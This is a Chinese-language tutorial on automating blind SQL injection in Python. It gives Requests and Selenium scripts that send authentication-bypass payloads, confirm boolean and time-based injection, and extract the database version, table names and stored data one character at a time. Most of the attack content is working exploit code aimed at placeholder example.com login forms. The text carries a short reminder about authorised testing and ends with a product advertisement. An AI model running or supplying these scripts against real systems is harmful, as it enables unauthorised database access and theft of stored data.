如何用python脚本盲注

在进行Python脚本盲注时，可以使用Selenium、Requests、BeautifulSoup等工具来自动化和解析网页。 盲注是一种SQL注入技术，当网页不显示错误信息时，攻击者通过观测应用程序的响应时间或其他微妙变化来推断数据库内容。准备好目标URL、选择合适的工具、编写脚本、验证输入点、逐步推断数据，这些步骤构成了盲注的基础流程。下面将详细介绍如何使用Python脚本进行盲注。

一、准备好目标URL

在进行盲注之前，你需要一个目标URL。这是你将要测试的网页。通常，目标URL包含一个参数，这个参数可能会被注入SQL代码。确保你有合法的权限对该目标进行测试。

1.1 确认目标URL

确认目标URL是盲注的第一步。你需要确保目标URL接受参数输入，并且这些参数可能会被注入SQL代码。通过手动测试或使用自动化扫描工具（如Burp Suite或OWASP ZAP）可以帮助你确定可能的注入点。

1.2 验证注入点

验证注入点是关键步骤。在这一阶段，你可以通过简单的SQL语句（如' OR '1'='1）来测试输入点是否存在SQL注入漏洞。确保这些测试不会对目标系统造成实际破坏。

二、选择合适的工具

选择合适的工具是成功进行盲注的关键。Python提供了多种库和工具来帮助你自动化这个过程。常用的库包括Requests、Selenium和BeautifulSoup。

2.1 Requests库

Requests库是Python中最流行的HTTP库之一。它提供了简单的API来发送HTTP请求和处理响应。使用Requests库，你可以轻松地发送POST和GET请求，并检查服务器的响应。

import requests
url = "http://example.com/login"
payload = {"username": "admin' OR '1'='1", "password": "password"}
response = requests.post(url, data=payload)
print(response.text)

2.2 Selenium库

Selenium库用于自动化Web浏览器操作。它特别适用于需要与JavaScript交互的复杂网页。使用Selenium，你可以模拟用户操作，如点击按钮、填写表单等。

from selenium import webdriver
driver = webdriver.Chrome()
driver.get("http://example.com/login")
username = driver.find_element_by_name("username")
password = driver.find_element_by_name("password")
username.send_keys("admin' OR '1'='1")
password.send_keys("password")
driver.find_element_by_name("submit").click()
print(driver.page_source)

三、编写脚本

编写脚本是盲注的核心部分。你的脚本需要能够发送HTTP请求，并根据服务器的响应来推断数据库内容。

3.1 构建基础脚本

首先，你需要构建一个基础脚本来发送HTTP请求，并检查服务器的响应。这个脚本可以使用Requests库来实现。

import requests
def send_request(payload):
    url = "http://example.com/login"
    response = requests.post(url, data=payload)
    return response.text
payload = {"username": "admin' OR '1'='1", "password": "password"}
response = send_request(payload)
print(response)

3.2 处理响应

接下来，你需要处理服务器的响应。盲注通常通过观察响应时间或响应内容的微小变化来推断数据库内容。你可以使用Python的正则表达式库re来解析响应内容。

import re
def check_response(response):
    if "Welcome" in response:
        return True
    return False
response = send_request(payload)
if check_response(response):
    print("Injection successful!")
else:
    print("Injection failed.")

四、验证输入点

验证输入点是盲注的关键步骤之一。在这一步中，你需要确保你选择的注入点确实存在SQL注入漏洞。你可以通过多次测试来验证这一点。

4.1 使用布尔盲注

布尔盲注通过发送不同的SQL语句，并根据服务器的响应来推断数据。例如，发送' OR '1'='1和' OR '1'='2，观察服务器的响应是否不同。

payload_true = {"username": "admin' OR '1'='1", "password": "password"}
payload_false = {"username": "admin' OR '1'='2", "password": "password"}
response_true = send_request(payload_true)
response_false = send_request(payload_false)
if check_response(response_true) and not check_response(response_false):
    print("Blind SQL Injection vulnerability confirmed.")
else:
    print("No vulnerability detected.")

4.2 使用时间盲注

时间盲注通过发送带有延迟的SQL语句来推断数据。例如，发送' OR IF(1=1, SLEEP(5), 0) --，观察服务器的响应时间是否增加。

import time
payload = {"username": "admin' OR IF(1=1, SLEEP(5), 0) --", "password": "password"}
start_time = time.time()
response = send_request(payload)
end_time = time.time()
if end_time - start_time > 5:
    print("Time-based Blind SQL Injection vulnerability confirmed.")
else:
    print("No vulnerability detected.")

五、逐步推断数据

在确认注入点之后，你可以逐步推断数据库内容。这通常通过逐字猜测数据来实现。例如，使用二分查找法来逐字猜测数据库表名、列名或具体数据。

5.1 推断数据库版本

通过逐字猜测，你可以推断数据库的版本信息。例如，使用时间盲注来逐字猜测数据库版本。

def guess_version():
    version = ""
    for i in range(1, 20):  # 假设版本号不超过20个字符
        for char in range(32, 127):  # ASCII可打印字符
            payload = {"username": f"admin' OR IF(ASCII(SUBSTRING(@@version, {i}, 1))={char}, SLEEP(5), 0) --", "password": "password"}
            start_time = time.time()
            response = send_request(payload)
            end_time = time.time()
            if end_time - start_time > 5:
                version += chr(char)
                print(f"Current version: {version}")
                break
    return version
print(f"Database version: {guess_version()}")

5.2 推断表名和列名

类似的方法可以用来推断数据库中的表名和列名。例如，通过逐字猜测表名。

def guess_table_name():
    table_name = ""
    for i in range(1, 20):  # 假设表名不超过20个字符
        for char in range(32, 127):  # ASCII可打印字符
            payload = {"username": f"admin' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1), {i}, 1))={char}, SLEEP(5), 0) --", "password": "password"}
            start_time = time.time()
            response = send_request(payload)
            end_time = time.time()
            if end_time - start_time > 5:
                table_name += chr(char)
                print(f"Current table name: {table_name}")
                break
    return table_name
print(f"First table name: {guess_table_name()}")

5.3 推断具体数据

最后，你可以使用类似的方法来推断具体数据。例如，通过逐字猜测某个表中的特定记录。

def guess_data():
    data = ""
    for i in range(1, 20):  # 假设数据不超过20个字符
        for char in range(32, 127):  # ASCII可打印字符
            payload = {"username": f"admin' OR IF(ASCII(SUBSTRING((SELECT column_name FROM table_name LIMIT 1), {i}, 1))={char}, SLEEP(5), 0) --", "password": "password"}
            start_time = time.time()
            response = send_request(payload)
            end_time = time.time()
            if end_time - start_time > 5:
                data += chr(char)
                print(f"Current data: {data}")
                break
    return data
print(f"First data: {guess_data()}")

六、总结

在这篇文章中，我们详细介绍了如何使用Python脚本进行盲注。我们首先准备好了目标URL，并选择了合适的工具（Requests和Selenium）。接着，我们编写了基础脚本，并验证了输入点。最后，我们通过逐字猜测的方法，逐步推断出了数据库的版本、表名和具体数据。通过这些步骤，你可以在实际操作中成功地进行盲注。

在实际操作中，请务必确保你有合法权限对目标进行测试，并且不要对生产环境造成任何破坏。此外，推荐使用研发项目管理系统PingCode和通用项目管理软件Worktile来管理你的测试项目，以确保测试过程的有序和高效。